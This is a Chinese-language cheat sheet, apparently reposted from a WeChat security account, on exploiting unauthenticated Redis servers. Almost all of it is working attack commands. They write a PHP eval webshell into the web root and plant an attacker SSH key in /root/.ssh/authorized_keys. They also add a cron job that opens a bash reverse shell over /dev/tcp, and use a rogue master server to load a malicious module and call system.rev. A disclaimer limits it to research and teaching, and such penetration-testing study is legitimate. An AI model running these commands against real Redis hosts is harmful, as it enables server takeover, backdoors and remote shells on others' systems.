set name 'simple' #设置键name的值为simple
get name #获取键name的值
keys * #获取当前数据库的所有键
config set dir /var/www/html #设置保存目录
config set dbfilename test.php #设置保存文件名称
save #进行一次备份操作
flushall #删除所有键值对缓存数据
slaveof ip port #设置主从关系
未授权连接redis:
redis-cli -h <target_ip> -p6379
执行info命令,查看当前数据库信息:
info
获取所有的键:
key *
连接redis(未授权或者需要授权):
redis-cli -h <target_ip>-p 6379-a password
设置目录为网站目录:
config set dir /var/www/html
任意设置文件名称:
config set dbfilename shell.php
设置webshell内容(键名任意,这里取了webshell):
set webshell "nnn<?php eval($_POST['pass']);?>nnn"
进行备份操作,写入webshell:
save
ssh-keygen -t rsa
(echo -e "nnn";cat id_rsa.pub;echo -e "nnn") > key.txt
读取key.txt文件的内容作为键rsa_pub的值:
cat key.txt | redis-cli -h <target_ip> -p 6379 -a password -x set rsa_pub
设置目录为/root/.ssh
config setdir /root/.ssh
设置文件名称为authorized_keys:
config set dbfilename authorized_keys
进行备份操作,写入公钥:
save
ssh root@<target_ip> -i id_rsa
nc -lvnp 2333
设置目录为计划任务的目录
config setdir /var/spool/cron
任意设置文件名:
config set dbfilename root
设置计划任务内容:
set cron "nnn* * * * * bash -i>& /dev/tcp/<target_ip>/2333 0>&1nnn"
进行备份操作,写入计划任务:
save
python3 redis-rogue-server.py--rhost <target_ip> --lhost <vps_ip>
nc -lvnp 2333
python3 redis_rogue_server.py -v -path exp.so
连接受害者redis机器:
redis-cli -h 192.168.1.130 -p 6379
设置目录为/tmp,因为对这个目录一般都有写入权限:
config setdir /tmp
设置文件名称:
config set dbfilename exp.so
从主节点同步数据,将主节点上恶意的so文件写入tmp目录的exp.so文件:
slaveof <vps_ip> 15000
加载写入的so文件中的模块:
module load ./exp.so(或者是/tmp/exp.so 因为是将文件保存在tmp目录,然后再加载)
查看恶意模块是否加载成功,主要看是否存在system:
module list
利用system模块执行反弹shell:
system.rev <vps_ip> 2333
原文始发于微信公众号(simple学安全):redis安全攻防
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论